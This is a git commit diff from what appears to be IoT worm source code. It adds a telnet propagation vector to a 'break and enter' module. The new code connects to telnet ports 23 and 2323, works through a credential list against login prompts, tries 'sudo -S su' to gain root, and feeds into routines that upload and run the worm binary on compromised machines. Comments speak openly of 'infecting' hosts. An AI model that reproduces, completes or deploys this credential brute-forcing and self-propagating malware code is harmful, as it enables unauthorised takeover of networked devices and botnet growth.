aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-24 14:07:10 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-24 14:07:10 +0930
commit5529cb366b7e7e6bb2dedefa1d6495bdb4d0352f (patch)
treedcbff94e6d46668ccc77363b40e0f13e5e0e8237
parentc1ae3eef633237525443d48622bb6f633392d2f6 (diff)
* Impl bne
* Reduce timeout values * Impl telnet vector * Separate stx_str/stx_out and eot_str/eot_out to skip echo * Bugfix: wrong BNE_CONN_OP_TIMEOUT timer reset * vssh: skip account if password auth is not available * bne_vssh_write_f(): propagate write() EOF * No EINTR handling * lssh2_handle() * prne_mbedtls_pth_handle() * resolv_ensure_act_dns_fd() * Add util funcs for telnet login prompt parsing * prne_transmem() * prne_memrmem() * prne_memmem()
-rw-r--r--src/bne.c951
-rw-r--r--src/htbt.c6
-rw-r--r--src/libssh2.c7
-rw-r--r--src/mbedtls.c10
-rw-r--r--src/resolv.c3
-rw-r--r--src/util_rt.c43
-rw-r--r--src/util_rt.h10
7 files changed, 949 insertions, 81 deletions
diff --git a/src/bne.c b/src/bne.c
index 050af54..bf21d36 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -18,8 +18,8 @@
#include <mbedtls/base64.h>
-static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m
-static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s
+static const struct timespec BNE_CONN_OP_TIMEOUT = { 30, 0 }; // 30s
+static const struct timespec BNE_SCK_OP_TIMEOUT = { 10, 0 }; // 10s
static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s
static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s
@@ -59,9 +59,14 @@ typedef struct {
} bne_vssh_ctx_t;
typedef struct {
+ char *prompt_line;
+ size_t prompt_line_len;
+ uint8_t *m_lefto;
+ uint8_t *ptr_lefto;
+ size_t lefto_len;
int fd;
prne_llist_t ports;
-} bne_vtelnet_ctx_t;
+} bne_vtn_ctx_t;
typedef unsigned int bne_avail_cmds_t;
@@ -97,7 +102,9 @@ typedef struct {
prne_llist_t up_methods; // series of pointer to upload functions
prne_bin_rcb_ctx_t rcb;
bne_avail_cmds_t avail_cmds;
+ char stx_out[53];
char stx_str[37];
+ char eot_out[53];
char eot_str[37];
} bne_sh_ctx_t;
@@ -122,11 +129,51 @@ static void bne_init_sh_ctx (bne_sh_ctx_t *p, prne_rnd_t *rnd) {
memset(uuid, 0xAA, 16);
}
prne_uuid_tostr(uuid, p->stx_str);
+ sprintf(
+ p->stx_out,
+ "%02x%02x%02x%02x\\\\x2D%02x%02x\\\\x2D%02x%02x\\\\x2D%02x%02x"
+ "\\\\x2D%02x%02x%02x%02x%02x%02x",
+ uuid[0],
+ uuid[1],
+ uuid[2],
+ uuid[3],
+ uuid[4],
+ uuid[5],
+ uuid[6],
+ uuid[7],
+ uuid[8],
+ uuid[9],
+ uuid[10],
+ uuid[11],
+ uuid[12],
+ uuid[13],
+ uuid[14],
+ uuid[15]);
if (!prne_rnd(rnd, uuid, 16)) {
memset(uuid, 0xBB, 16);
}
prne_uuid_tostr(uuid, p->eot_str);
+ sprintf(
+ p->eot_out,
+ "%02x%02x%02x%02x\\\\x2D%02x%02x\\\\x2D%02x%02x\\\\x2D%02x%02x"
+ "\\\\x2D%02x%02x%02x%02x%02x%02x",
+ uuid[0],
+ uuid[1],
+ uuid[2],
+ uuid[3],
+ uuid[4],
+ uuid[5],
+ uuid[6],
+ uuid[7],
+ uuid[8],
+ uuid[9],
+ uuid[10],
+ uuid[11],
+ uuid[12],
+ uuid[13],
+ uuid[14],
+ uuid[15]);
}
static void bne_free_sh_ctx (bne_sh_ctx_t *p) {
@@ -395,6 +442,9 @@ static bool bne_do_connect (
errno = sov;
}
}
+ else {
+ // Interrupted by signal? too bad.
+ }
ERR:
prne_close(*fd);
@@ -476,7 +526,7 @@ static bool bne_sh_send (
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 3) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: bne_sh_send():\n%s\n",
+ "bne sh@%"PRIxPTR"\t: bne_sh_send():\n%s\n",
(uintptr_t)s_ctx->ctx,
cmdline);
}
@@ -491,10 +541,10 @@ static bool bne_sh_send (
static char *bne_sh_mknexted_cmd (bne_sh_ctx_t *s_ctx, const char *cmd) {
const char *sb[] = {
- "echo -n ", s_ctx->stx_str, ";\\", s_ctx->nl,
+ "echo -ne ", s_ctx->stx_out, ";\\", s_ctx->nl,
cmd, // terminator supplied by caller
"\\", s_ctx->nl,
- "echo -n ", s_ctx->eot_str, s_ctx->nl
+ "echo -ne ", s_ctx->eot_out, s_ctx->nl
};
return prne_build_str(sb, sizeof(sb)/sizeof(const char*));
@@ -710,7 +760,7 @@ static int bne_sh_get_uid (bne_sh_ctx_t *s_ctx) {
static bool bne_sh_sudo (prne_bne_t *ctx, bne_sh_ctx_t *s_ctx) {
const char *sb[] = {
- "sudo -S su; echo -n ", s_ctx->eot_str, s_ctx->nl
+ "sudo -S su; echo -n ", s_ctx->eot_out, s_ctx->nl
};
bool ret = false;
ssize_t f_ret;
@@ -737,7 +787,9 @@ static bool bne_sh_sudo (prne_bne_t *ctx, bne_sh_ctx_t *s_ctx) {
prne_iobuf_shift(&s_ctx->ib, f_ret);
}
+ // timeout is a normal outcome!
if (pth_event_status(s_ctx->ev) != PTH_STATUS_OCCURRED) {
+ // read op has not timedout
ctx->result.err = errno;
goto END;
}
@@ -966,7 +1018,7 @@ static bool bne_sh_setup (
}
}
- // Skip banner
+ // Skip motd
if (!s_ctx->flush_f(s_ctx->ctx)) {
goto END;
}
@@ -983,7 +1035,7 @@ static bool bne_sh_setup (
// Not root. Try escalating the shell
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: broke in as uid %d. Trying sudo...\n",
+ "bne sh@%"PRIxPTR"\t: broke in as uid %d. Trying sudo...\n",
(uintptr_t)ctx,
uid);
}
@@ -992,7 +1044,7 @@ static bool bne_sh_setup (
// sudo failed. no point infecting unprivileged machine
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: sudo failed\n",
+ "bne sh@%"PRIxPTR"\t: sudo failed\n",
(uintptr_t)ctx);
}
goto END;
@@ -1017,7 +1069,7 @@ static bool bne_sh_setup (
}
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 2) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: available commands - ",
+ "bne sh@%"PRIxPTR"\t: available commands - ",
(uintptr_t)ctx);
if (s_ctx->avail_cmds & BNE_AVAIL_CMD_ECHO) {
prne_dbgpf("echo ");
@@ -1038,7 +1090,7 @@ static bool bne_sh_setup (
{
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: echo and cat unavailable on this system\n",
+ "bne sh@%"PRIxPTR"\t: echo and cat unavailable on this system\n",
(uintptr_t)ctx);
}
ctx->result.err = ENOSYS;
@@ -1102,7 +1154,7 @@ static bool bne_sh_setup (
qsort(mp_arr, mp_cnt, sizeof(bne_mp_t), bne_mp_cmp_f);
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 2) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: suitable mount points:\n",
+ "bne sh@%"PRIxPTR"\t: suitable mount points:\n",
(uintptr_t)ctx);
}
for (size_t i = 0, j = mp_cnt - 1; i < mp_cnt; i += 1, j -= 1) {
@@ -1204,12 +1256,12 @@ static bool bne_sh_setup (
if (arch_str == NULL) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: arch detection failed\n",
+ "bne sh@%"PRIxPTR"\t: arch detection failed\n",
(uintptr_t)ctx);
}
else {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: arch: %s\n",
+ "bne sh@%"PRIxPTR"\t: arch: %s\n",
(uintptr_t)ctx,
arch_str);
}
@@ -1257,7 +1309,7 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
}
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: retrying bin_rcb with compat arch %s\n",
+ "bne sh@%"PRIxPTR"\t: retrying bin_rcb with compat arch %s\n",
(uintptr_t)ctx,
prne_arch_tostr(ctx->result.arch));
}
@@ -1353,7 +1405,7 @@ static bool bne_sh_prep_upload (
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: prep upload on %s\n",
+ "bne sh@%"PRIxPTR"\t: prep upload on %s\n",
(uintptr_t)ctx,
s_ctx->upload_dir);
}
@@ -1409,7 +1461,7 @@ static bool bne_sh_upload_echo (
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: uploading using echo ...\n",
+ "bne sh@%"PRIxPTR"\t: uploading using echo ...\n",
(uintptr_t)ctx);
}
@@ -1500,7 +1552,7 @@ static bool bne_sh_upload_base64 (
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
prne_dbgpf(
- "bne@%"PRIxPTR"\t: uploading using base64 ...\n",
+ "bne sh@%"PRIxPTR"\t: uploading using base64 ...\n",
(uintptr_t)ctx);
}
@@ -1739,7 +1791,6 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) {
goto END;
}
- prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
if (!prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_handshake, fd, ev)) {
goto END;
}
@@ -1765,9 +1816,781 @@ END: // CATCH
/*******************************************************************************
Telnet Vector Impl
*******************************************************************************/
+static const char BNE_VTN_NL[] = "\r\n";
+#define BNE_VTN_NL_LEN (sizeof(BNE_VTN_NL) - 1)
+
+static void bne_vtn_drop_conn (bne_vtn_ctx_t *t_ctx) {
+ prne_free(t_ctx->prompt_line);
+ t_ctx->prompt_line = NULL;
+ t_ctx->prompt_line_len = 0;
+ prne_free(t_ctx->m_lefto);
+ t_ctx->m_lefto = t_ctx->ptr_lefto = NULL;
+ t_ctx->lefto_len = 0;
+ prne_shutdown(t_ctx->fd, SHUT_RDWR);
+ prne_close(t_ctx->fd);
+ t_ctx->fd = -1;
+}
+
+/*
+*
+* 1: OK
+* 0: Format error
+* -1: errno set
+*/
+static int bne_vtn_parse_pdata (
+ const uint8_t *in_data,
+ const size_t in_len,
+ size_t *p_start,
+ size_t *p_len,
+ uint8_t **m_pout,
+ size_t *pout_len)
+{
+ uint8_t wont_buf[3];
+ bool iac = false;
+ uint8_t opt_code;
+ const uint8_t *m_snd = NULL;
+ size_t snd_len = 0;
+
+ for (*p_start = 0; *p_start < in_len; *p_start += 1) {
+ if (in_data[*p_start] == 255) {
+ iac = true;
+ break;
+ }
+ }
+
+ if (iac) {
+ *p_len = 2;
+ }
+ else {
+ *p_len = 0;
+ return 1;
+ }
+
+ if (*p_start + 1 >= in_len) {
+ return 1;
+ }
+
+ switch (in_data[*p_start + 1]) {
+ case 240: // SE
+ // SE without SB. This is a malformed command
+ return 0;
+ case 241: // NOP
+ case 242: // Synch
+ case 243: // Break
+ case 244: // IP
+ case 245: // AO
+ case 246: // AYT
+ case 247: // EC
+ case 248: // EL
+ case 249: // GA
+ return 1;
+ case 250: // SB
+ case 251: // WILL
+ case 252: // WONT
+ case 253: // DONT
+ case 254: // DO
+ // option code required
+ *p_len = 3;
+ if (*p_start + 2 >= in_len) {
+ return 1;
+ }
+ break;
+ default:
+ return 0;
+ }
+ opt_code = in_data[*p_start + 2];
+
+ switch (in_data[*p_start + 1]) {
+ case 250: // SB
+ // find the SE of this SB
+ for (size_t i = *p_start + 3; i < in_len; i += 1) {
+ if (in_data[i] == 255 && i + 1 < in_len) {
+ *p_len += 2;
+ if (in_data[i + 1] != 240) {
+ return 0;
+ }
+ // do something with this data
+ break;
+ }
+ else {
+ *p_len += 1;
+ }
+ }
+ break;
+ case 251: // WILL
+ case 252: // WONT
+ case 254: // DONT
+ break; // ignore
+ case 253: // DO
+ if (opt_code == 31) { // NAW
+ static const uint8_t DAT[] = {
+ // IAC WILL NAWS
+ 255, 251, 31,
+ // IAC SB NAWS 0 80 0 24 IAC SE
+ 255, 250, 31, 0, 80, 0, 24, 255, 240
+ };
+ m_snd = DAT;
+ snd_len = sizeof(DAT);
+ }
+ else {
+ // IAC WONT WHATEVER-IT-IS
+ wont_buf[0] = 255;
+ wont_buf[1] = 252;
+ wont_buf[2] = opt_code;
+ m_snd = wont_buf;
+ snd_len = 3;
+ }
+ break;
+ }
+
+ if (snd_len > 0) {
+ void *ny;
+
+ ny = prne_realloc(*m_pout, 1, snd_len);
+ if (ny == NULL) {
+ return -1;
+ }
+ *m_pout = (uint8_t*)ny;
+ *pout_len = snd_len;
+ memcpy(*m_pout, m_snd, snd_len);
+ }
+
+ return 1;
+}
+
+static bool bne_vtn_push_data (
+ struct pollfd *pfd,
+ const uint8_t *buf,
+ size_t len,
+ pth_event_t ev)
+{
+ ssize_t f_ret;
+
+ while (len > 0) {
+ pfd->events = POLLOUT;
+ f_ret = prne_pth_poll(pfd, 1, -1, ev);
+ if (f_ret <= 0) {
+ return false;
+ }
+
+ f_ret = write(pfd->fd, buf, len);
+ if (f_ret <= 0) {
+ return false;
+ }
+ buf += f_ret;
+ len -= f_ret;
+ }
+
+ return true;
+}
+
+static ssize_t bne_vtn_read_f (
+ void *ctx_p,
+ void *buf,
+ const size_t len,
+ pth_event_t ev)
+{
+ bne_vtn_ctx_t *ctx = (bne_vtn_ctx_t*)ctx_p;
+ struct pollfd pfd;
+ ssize_t f_ret;
+
+ if (ctx->lefto_len > 0) {
+ // if there's leftover data from handshake phase, return that
+ const size_t consume = prne_op_min(len, ctx->lefto_len);
+
+ memcpy(buf, ctx->ptr_lefto, consume);
+ ctx->ptr_lefto += consume;
+ ctx->lefto_len -= consume;
+
+ if (ctx->lefto_len == 0) {
+ prne_free(ctx->m_lefto);
+ ctx->m_lefto = ctx->ptr_lefto = NULL;
+ }
+
+ return consume;
+ }
+
+ pfd.fd = ctx->fd;
+ pfd.events = POLLIN;
+ f_ret = prne_pth_poll(&pfd, 1, -1, ev);
+ if (f_ret < 0) {
+ return -1;
+ }
+
+ return read(ctx->fd, buf, len);
+}
+
+static ssize_t bne_vtn_write_f (
+ void *ctx_p,
+ const void *buf,
+ const size_t len,
+ pth_event_t ev)
+{
+ bne_vtn_ctx_t *ctx = (bne_vtn_ctx_t*)ctx_p;
+ struct pollfd pfd;
+ ssize_t f_ret;
+ size_t rem = len, sent = 0;
+
+ pfd.fd = ctx->fd;
+ pfd.events = POLLOUT;
+
+ while (rem > 0) {
+ f_ret = prne_pth_poll(&pfd, 1, -1, ev);
+ if (f_ret < 0) {
+ return -1;
+ }
+
+ f_ret = write(ctx->fd, buf, rem);
+ if (f_ret < 0) {
+ return f_ret;
+ }
+ if (f_ret == 0) {
+ return sent;
+ }
+
+ buf = (const uint8_t*)buf + f_ret;
+ rem -= f_ret;
+ sent += f_ret;
+ }
+
+ return sent;
+}
+
+static bool bne_vtn_flush_f (void *ctx_p) {
+ bne_vtn_ctx_t *ctx = (bne_vtn_ctx_t*)ctx_p;
+ uint8_t buf[1024];
+ ssize_t f_ret;
+
+ while (true) {
+ f_ret = read(ctx->fd, buf, sizeof(buf));
+ if (f_ret < 0) {
+ if (errno == EAGAIN || errno == EWOULDBLOCK) {
+ return true;
+ }
+ return false;
+ }
+ if (f_ret == 0) {
+ return true;
+ }
+ }
+}
+
+static bool bne_vtn_handshake (bne_vtn_ctx_t *t_ctx, pth_event_t ev) {
+ static const size_t BUF_SIZE = 512;
+ static const uint8_t INIT_OUT[] = {
+ // IAC DO SUPPRESS-GO-AHEAD
+ 255, 253, 3,
+ // IAC WILL NAWS
+ 255, 251, 31
+ };
+ bool ret = false;
+ uint8_t *m_pout = NULL;
+ size_t pout_len = 0;
+ size_t p_start, p_len = 0, np_len;
+ uint8_t buf[BUF_SIZE];
+ prne_iobuf_t ib;
+ ssize_t f_ret;
+ struct pollfd pfd;
+
+ prne_init_iobuf(&ib);
+ prne_iobuf_setextbuf(&ib, buf, BUF_SIZE, 0);
+ pfd.fd = t_ctx->fd;
+
+// TRY
+ // send initial commands
+ if (!bne_vtn_push_data(&pfd, INIT_OUT, sizeof(INIT_OUT), ev)) {
+ goto END;
+ }
+
+ while (true) {
+ if (p_len > ib.len || ib.len == 0) {
+ // read data for the first time or
+ // read until no IAC is found in the stream
+ pfd.events = POLLIN;
+ f_ret = prne_pth_poll(&pfd, 1, -1, ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+
+ f_ret = read(pfd.fd, ib.m + ib.len, ib.avail);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&ib, f_ret);
+ }
+
+ pout_len = 0;
+ f_ret = bne_vtn_parse_pdata(
+ ib.m,
+ ib.len,
+ &p_start,
+ &p_len,
+ &m_pout,
+ &pout_len);
+ if (f_ret <= 0) {
+ if (f_ret == 0) {
+ errno = EPROTO;
+ }
+ goto END;
+ }
+ if (p_len > ib.size) {
+ // need more buffer to process this command
+ errno = EPROTO;
+ goto END;
+ }
+
+ if (!bne_vtn_push_data(&pfd, m_pout, pout_len, ev)) {
+ goto END;
+ }
+
+ // save non-protocol data for later consumption
+ np_len = p_start;
+ if (np_len > 0) {
+ void *ny = prne_realloc(
+ t_ctx->m_lefto,
+ 1,
+ t_ctx->lefto_len + np_len);
+
+ if (ny == NULL) {
+ goto END;
+ }
+ t_ctx->ptr_lefto = t_ctx->m_lefto = (uint8_t*)ny;
+ memcpy(t_ctx->m_lefto + t_ctx->lefto_len, ib.m, np_len);
+ t_ctx->lefto_len += np_len;
+ }
+ prne_iobuf_shift(&ib, -np_len);
+
+ if (p_len <= ib.len) {
+ // bne_vtn_parse_pdata() was able to consume some protocol data
+ prne_iobuf_shift(&ib, -p_len);
+ }
+ if (p_len == 0 && pout_len == 0) {
+ // IAC not found in the stream and no command produced
+ // end of telnet negotiation
+ ret = true;
+ break;
+ }
+ }
+
+END: // CATCH
+ prne_free_iobuf(&ib);
+ prne_free(m_pout);
+
+ return ret;
+}
+
+static bool bne_vtn_est_conn (prne_bne_t *ctx, bne_vtn_ctx_t *t_ctx) {
+ bool ret = false;
+ pth_event_t ev = NULL;
+ const struct timespec *pause = NULL;
+ prne_net_endpoint_t ep;
+
+ if (t_ctx->fd >= 0) {
+ return true;
+ }
+
+ ep.addr = ctx->param.subject;
+
+ while (t_ctx->ports.size > 0 &&
+ pth_event_status(ev) != PTH_STATUS_OCCURRED)
+ {
+ bne_port_t *p = (bne_port_t*)t_ctx->ports.head->element;
+
+ ep.port = p->port;
+
+ if (pause != NULL) {
+ pth_nanosleep(pause, NULL);
+ pause = NULL;
+ }
+ bne_vtn_drop_conn(t_ctx);
+ p->attempt += 1;
+
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 1) {
+ prne_dbgpf(
+ "bne vtn@%"PRIxPTR"\t: knocking %"PRIu16"\n",
+ (uintptr_t)ctx,
+ p->port);
+ }
+
+ prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
+ if (!bne_do_connect(&t_ctx->fd, &ep, ev)) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ if (t_ctx->fd < 0) {
+ pause = &BNE_ERR_PAUSE;
+ if (p->attempt >= BNE_CONN_ATTEMPT) {
+ goto POP;
+ }
+ continue;
+ }
+
+ if (bne_vtn_handshake(t_ctx, ev)) {
+ ctx->result.err = 0;
+ ret = true;
+ break;
+ }
+ else {
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ "bne vtn@%"PRIxPTR"\t: handshake failed on port "
+ "%"PRIu16"\n",
+ (uintptr_t)ctx,
+ ep.port);
+ }
+ }
+ /* fall-through */
+POP:
+ // try next port
+ prne_free(p);
+ prne_llist_erase(&t_ctx->ports, t_ctx->ports.head);
+ }
+
+END:
+ if (ev != NULL && pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ ctx->result.err = ETIMEDOUT;
+ }
+ pth_event_free(ev, FALSE);
+ if (!ret) {
+ bne_vtn_drop_conn(t_ctx);
+ }
+
+ return ret;
+}
+
+/*
+*
+* This function only works against conventional /bin/login program.
+* We assume that "conventional" /bin/login has following prompt structure:
+*
+* [hostname ]login:
+* Password:
+* Login incorrect
+*
+* This functions will not work against login prompt structure other than this.
+*
+* Return:
+* 1: successful login
+* 0: unsuccessful login
+* -1: IO error. Re-establish connection and keep trying!
+*/
+static int bne_vtn_try_cred (
+ prne_bne_t *ctx,
+ bne_vtn_ctx_t *t_ctx,
+ pth_event_t ev)
+{
+ static const char LOGIN_P[] = "login:";
+ static const char PWD_P[] = "password:";
+ static const char INC_P[] = "incorrect";
+#define LOGIN_P_LEN (sizeof(LOGIN_P) - 1)
+#define PWD_P_LEN (sizeof(LOGIN_P) - 1)
+#define INC_P_LEN (sizeof(INC_P) - 1)
+ int ret = -1;
+ char *prompt_nl[3];
+ char *p_login, *p_line, *ib_end;
+ uint8_t buf[2048];
+ prne_iobuf_t ib;
+ ssize_t f_ret;
+ size_t len;
+
+ prne_init_iobuf(&ib);
+ prne_iobuf_setextbuf(&ib, buf, sizeof(buf), 0);
+
+ // sync login prompt
+ prne_iobuf_reset(&ib);
+ while (true) {
+ f_ret = bne_vtn_read_f(t_ctx, ib.m + ib.len, ib.avail, ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_transmem(ib.m + ib.len, f_ret, tolower);
+ prne_iobuf_shift(&ib, f_ret);
+
+ if (t_ctx->prompt_line == NULL) {
+ p_login = (char*)prne_memrmem(
+ ib.m,
+ ib.len,
+ LOGIN_P,
+ LOGIN_P_LEN);
+ if (p_login == NULL) {
+ continue;
+ }
+ len = p_login - (char*)ib.m;
+
+ prompt_nl[0] = (char*)prne_memrchr(ib.m, '\r', len);
+ prompt_nl[1] = (char*)prne_memrchr(ib.m, '\n', len);
+ prompt_nl[2] = (char*)prne_memrchr(ib.m, '\0', len);
+ if (prompt_nl[0] != NULL || prompt_nl[1] != NULL) {
+ // newline char found
+ if (prompt_nl[0] + 1 == prompt_nl[1]) {
+ // CrLf
+ p_line = prompt_nl[1] + 1;
+ }
+ else if (prompt_nl[0] + 1 == prompt_nl[2]) {
+ // CrNul
+ p_line = prompt_nl[2] + 1;
+ }
+ else {
+ p_line = prne_op_max(prompt_nl[0], prompt_nl[1]) + 1;
+ }
+ }
+ else {
+ p_line = (char*)ib.m;
+ }
+
+ // trailing characters must be whitespaces
+ ib_end = (char*)ib.m + ib.len;
+ for (char *i = p_login + LOGIN_P_LEN; i < ib_end; i += 1) {
+ if (!isspace(*i)) {
+ continue;
+ }
+ }
+
+ // copy the prompt line for later use
+ len = ib_end - p_line;
+ t_ctx->prompt_line = prne_alloc_str(len);
+ if (t_ctx->prompt_line != NULL) {
+ t_ctx->prompt_line_len = len;
+ memcpy(t_ctx->prompt_line, p_line, len);
+ t_ctx->prompt_line[len] = 0;
+ }
+ }
+ else if (prne_memmem(
+ ib.m,
+ ib.len,
+ t_ctx->prompt_line,
+ t_ctx->prompt_line_len) == NULL)
+ {
+ continue;
+ }
+
+ break;
+ }
+
+ // send ID
+ len = strlen(ctx->result.cred.id);
+ if (bne_vtn_write_f(t_ctx, ctx->result.cred.id, len, ev) != (ssize_t)len) {
+ goto END;
+ }
+ // send nl
+ if (bne_vtn_write_f(
+ t_ctx,
+ BNE_VTN_NL,
+ BNE_VTN_NL_LEN,
+ ev) != (ssize_t)BNE_VTN_NL_LEN)
+ {
+ goto END;
+ }
+
+ // sync password prompt
+ prne_iobuf_reset(&ib);
+ while (true) {
+ f_ret = bne_vtn_read_f(t_ctx, ib.m + ib.len, ib.avail, ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_transmem(ib.m + ib.len, f_ret, tolower);
+ prne_iobuf_shift(&ib, f_ret);
+
+ if (prne_memmem(ib.m, ib.len, PWD_P, PWD_P_LEN) != NULL) {
+ break;
+ }
+ else if (memchr(ib.m, '>', ib.len) != NULL ||
+ memchr(ib.m, '$', ib.len) != NULL ||
+ memchr(ib.m, '#', ib.len) != NULL ||
+ memchr(ib.m, '%', ib.len) != NULL ||
+ memchr(ib.m, ':', ib.len) != NULL)
+ {
+ // password not prompted
+ ret = 1;
+ goto END;
+ }
+ }
+
+ // send PW
+ len = strlen(ctx->result.cred.pw);
+ if (bne_vtn_write_f(t_ctx, ctx->result.cred.pw, len, ev) != (ssize_t)len) {
+ goto END;
+ }
+ // send nl
+ if (bne_vtn_write_f(
+ t_ctx,
+ BNE_VTN_NL,
+ BNE_VTN_NL_LEN,
+ ev) != (ssize_t)BNE_VTN_NL_LEN)
+ {
+ goto END;
+ }
+
+ // sync answer
+ prne_iobuf_reset(&ib);
+ while (true) {
+ f_ret = bne_vtn_read_f(t_ctx, ib.m + ib.len, ib.avail, ev);
+ if (f_ret <= 0) {
+ goto END;
+ }
+ prne_transmem(ib.m + ib.len, f_ret, tolower);
+ prne_iobuf_shift(&ib, f_ret);
+
+ if (prne_memmem(ib.m, ib.len, INC_P, INC_P_LEN) != NULL ||
+ prne_memmem(
+ ib.m,
+ ib.len,
+ t_ctx->prompt_line,
+ t_ctx->prompt_line_len) != NULL)
+ {
+ // feed the read data back to the stream...
+ // if it doesn't look good to you, too bad
+ prne_free(t_ctx->m_lefto);
+ t_ctx->m_lefto = t_ctx->ptr_lefto =
+ (uint8_t*)prne_malloc(1, ib.len);
+ if (t_ctx->m_lefto == NULL) {
+ t_ctx->lefto_len = 0;
+ ret = -1;
+ break;
+ }
+ memcpy(t_ctx->m_lefto, ib.m, ib.len);
+ t_ctx->lefto_len = ib.len;
+
+ ret = 0;
+ break;
+ }
+ else if (memchr(ib.m, '>', ib.len) != NULL ||
+ memchr(ib.m, '$', ib.len) != NULL ||
+ memchr(ib.m, '#', ib.len) != NULL ||
+ memchr(ib.m, '%', ib.len) != NULL ||
+ memchr(ib.m, ':', ib.len) != NULL)
+ {
+ ret = 1;
+ break;
+ }
+ }
+
+END:
+ prne_free_iobuf(&ib);
+
+ return ret;
+#undef LOGIN_P_LEN
+#undef PWD_P_LEN
+#undef INC_P_LEN
+}
+
+static bool bne_vtn_login (prne_bne_t *ctx, bne_vtn_ctx_t *t_ctx) {
+ bool ret = false;
+ pth_event_t ev = NULL;
+ int f_ret;
+
+ while (true) {
+ if (!bne_vtn_est_conn(ctx, t_ctx)) {
+ break;
+ }
+
+ if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) {
+ if (!bne_pop_cred(ctx, false)) {
+ break;
+ }
+ }
+
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0 + 1) {
+ prne_dbgpf(
+ "bne vssh@%"PRIxPTR"\t: trying cred %s %s\n",
+ (uintptr_t)ctx,
+ ctx->result.cred.id,
+ ctx->result.cred.pw);
+ }
+
+ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = bne_vtn_try_cred(ctx, t_ctx, ev);
+ if (f_ret < 0) {
+ bne_vtn_drop_conn(t_ctx);
+ continue;
+ }
+ else if (f_ret == 0) {
+ bne_free_result_cred(ctx);
+ continue;
+ }
+
+ ret = true;
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ "bne vssh@%"PRIxPTR"\t: authenticated using cred %s %s\n",
+ (uintptr_t)ctx,
+ ctx->result.cred.id,
+ ctx->result.cred.pw);
+ }
+ break;
+ }
+
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
+static bool bne_vtn_do_shell (prne_bne_t *ctx, bne_vtn_ctx_t *t_ctx) {
+ bne_sh_ctx_t sh_ctx;
+ bool ret;
+
+ bne_init_sh_ctx(&sh_ctx, &ctx->rnd);
+ sh_ctx.ctx = t_ctx;
+ sh_ctx.read_f = bne_vtn_read_f;
+ sh_ctx.write_f = bne_vtn_write_f;
+ sh_ctx.flush_f = bne_vtn_flush_f;
+ sh_ctx.nl = "\r\n";
+
+ ret = bne_do_shell(ctx, &sh_ctx);
+
+ bne_free_sh_ctx(&sh_ctx);
+ return ret;
+}
+
static bool bne_do_vec_telnet (prne_bne_t *ctx) {
- // TODO
- return false;
+ static const uint16_t SSH_PORTS[] = { 23, 2323 };
+ bool ret = false;
+ bne_vtn_ctx_t vtn_ctx;
+
+ prne_memzero(&vtn_ctx, sizeof(bne_vtn_ctx_t));
+ vtn_ctx.fd = -1;
+ prne_init_llist(&vtn_ctx.ports);
+
+ bne_free_result_cred(ctx);
+
+ for (size_t i = 0; i < sizeof(SSH_PORTS)/sizeof(uint16_t); i += 1) {
+ bne_port_t *p = prne_calloc(sizeof(bne_port_t), 1);
+
+ if (p == NULL) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ p->port = SSH_PORTS[i];
+
+ if (!prne_llist_append(
+ &vtn_ctx.ports,
+ (prne_llist_element_t)p))
+ {
+ prne_free(p);
+ ctx->result.err = errno;
+ goto END;
+ }
+ }
+
+ if (!bne_build_cred_set(ctx)) {
+ ctx->result.err = errno;
+ goto END;
+ }
+
